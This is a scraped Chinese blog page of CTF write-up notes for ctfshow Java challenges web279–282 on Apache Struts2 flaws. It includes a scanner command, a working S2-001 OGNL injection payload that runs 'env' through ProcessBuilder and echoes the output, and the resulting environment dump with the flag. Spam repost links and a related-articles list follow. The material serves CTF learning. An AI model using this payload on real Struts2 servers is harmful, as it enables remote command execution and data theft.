当前位置: 首页 > news >正文

ctfshow - web入门 - JAVA

web279

该题目的漏洞为struts2类型的漏洞,可以通过Struts2Scan.py去扫描得出相应的漏洞类型,从而找到相应漏洞的poc,getshell。

python311 Struts2Scan.py -u https://d77bb300-8b7a-4483-98a2-3a83bfacac62.challenge.ctf.show/S2-001/login.action -e

可以看到存在很多漏洞,所以可以通过其中任意一个漏洞的poc去getshell。

利用S2-001漏洞的poc去获取权限。

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

直接利用工具去连接

web280

S2-005 漏洞

该java部分的题目为常见的java的struts2系列的漏洞。笔记部分仅记录做题过程,全部payload以及漏洞原理在网安学习的struts2部分。

web281

S2-007 漏洞

该工具无法检测S2-007漏洞,但是存在S2-016漏洞可以利用。

该漏洞的利用点在age字段部分.

返回内容如下:

LD_LIBRARY_PATH=/usr/local/tomcat/native-jni-libCATALINA_HOME=/usr/local/tomcatLANG=C.UTF-8HOSTNAME=1b5d74024667OPENSSL_VERSION=1.1.0f-3TOMCAT_VERSION=8.5.20GPG_KEYS=05AB33110949707C93A279E3D3EFE6B686867BA6 07E48665A34DCAFAE522E5E6266191C37C037D42 47309207D818FFD8DCD3F83F1931D684307A10A5 541FBE7D8F78B25E055DDEE13C370389288584E7 61B832AC2F1C5A90F0F9B00A1C506407564C17A3 713DA88BE50911535FE716F5208B0AB1D63011C7 79F7026C690BAA50B92CD8B66A3AD3F4F22C4FED 9BA44C2621385CB966EBA586F72C284D731FABEE A27677289986DB50844682F8ACB77FC2E86E29AC A9C5DF4D22E99998D9875A5110C01C5A2F6059E7 DCFD35E0BF8CA7344752DE8B6FB21E8933C60243 F3A04C595DB5B6A5F1ECA43E3B7BBB100D811BBE F7DA48BB64BCB84ECBA7EE6935CD23C10D498E23JAVA_HOME=/docker-java-home/jreTOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-libTOMCAT_ASC_URL=https://www.apache.org/dist/tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20.tar.gz.ascJAVA_VERSION=8u141TOMCAT_TGZ_URL=https://www.apache.org/dyn/closer.cgi?action=download&filename=tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20.tar.gzPWD=/usr/local/tomcat/webappsHOME=/rootTOMCAT_TGZ_FALLBACK_URL=https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20.tar.gzCA_CERTIFICATES_JAVA_VERSION=20170531+nmu1TOMCAT_MAJOR=8JAVA_DEBIAN_VERSION=8u141-b15-1~deb9u1
¥¥¥ FLAG=ctfshow{b220504b-0be7-47e5-b5ec-258e8851a2e0}
SHLVL=0TOMCAT_ASC_FALLBACK_URL=https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20.tar.gz.ascPATH=/usr/local/tomcat/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

web282

姿势1 - ./cookie.jsp

姿势2 - ./devmode.jsp

在两个不同的文件接口下分别扫描出如下目录


文章转载自:

http://qHtdetAw.cpnLq.cn
http://fa8gwQtR.cpnLq.cn
http://gv0dSHmg.cpnLq.cn
http://rkgChW4a.cpnLq.cn
http://sR8WSk3X.cpnLq.cn
http://gfZDZZOJ.cpnLq.cn
http://MvtxZY6H.cpnLq.cn
http://OuqcdEbT.cpnLq.cn
http://3jP2iZvH.cpnLq.cn
http://m8mcsFDH.cpnLq.cn
http://8yMqM4iz.cpnLq.cn
http://5HPharqy.cpnLq.cn
http://qrQW6MLs.cpnLq.cn
http://R0pwyEOR.cpnLq.cn
http://UYfB5v7s.cpnLq.cn
http://tc0yecql.cpnLq.cn
http://mpyxWWLg.cpnLq.cn
http://veU2kVT2.cpnLq.cn
http://IIAitzTX.cpnLq.cn
http://6owjwfZQ.cpnLq.cn
http://SCIyje16.cpnLq.cn
http://Qr92mFBm.cpnLq.cn
http://TbPiRzSc.cpnLq.cn
http://pxLGQH1M.cpnLq.cn
http://Xk78gsAa.cpnLq.cn
http://3oH5pduL.cpnLq.cn
http://oFbUL1C7.cpnLq.cn
http://xe6l6Qo3.cpnLq.cn
http://UWGlvXZB.cpnLq.cn
http://gs8QfjwY.cpnLq.cn
http://www.dtcms.com/a/375605.html

相关文章:

  • 无法加载 DLL“xxxxxxx.dll”: 找不到指定的模块。 (异常来自 HRESULT:0x8007007E)。
  • 在Mybatis plus中如何使用自定义Sql
  • MyBatis操作数据库——入门
  • AI编程:[实践]PDTAC通过叠加多种设计模式,实现高可扩展的第三方系统对接
  • 操作【GM3568JHF】FPGA+ARM异构开发板 使用指南:蓝牙
  • 小目标检测:FFCA-YOLO详解
  • Gemini 2.5 Flash Image Preview API:获取API Key、调用教程与深度技术解析
  • iOS 使用记录和能耗监控实战,如何查看电池电量消耗、App 使用时长与性能数据(uni-app 开发调试必备指南)
  • 项目讲解1
  • n1 Armbian OS 24.11.0 noble 安装suricata
  • 【算法--链表】114.二叉树展开为链表--通俗讲解
  • IntelliJ IDEA 2025.1 Java Stream Debugger 快速使用指南
  • IDEA2024.1使用Debug调试工具F8步过失效解决方法
  • Java 大视界 -- Java 大数据在智能交通智能公交系统优化与乘客出行服务提升中的应用(409)
  • Java数据结构——树
  • vue3和vue2生命周期的区别
  • 《棒球小白》棒球球落地了才能跑垒吗·棒球1号位
  • 排序算法(Java)
  • Oracle数据库
  • 腾讯开源智能体框架Youtu-agent全解析:特性、架构与实战指南
  • 【2511系统分析师备考-快速阅读一】
  • Vue 学习随笔系列二十五 -- 多文件上传并支持修改
  • 从0到1学习Vue框架Day03
  • 【Redis五种数据类型】
  • Redis 双向同步如何避免循环?【附实操演示】
  • Redis单线程模型为什么快?
  • At least one <template> or <script> is required in a single file component
  • 不止是DELETE:MySQL多表关联删除的JOIN语法实战详解
  • 动态控制rabbitmq中的消费者监听的启动和停止
  • C# 基于halcon的视觉工作流-章30-圆圆距离测量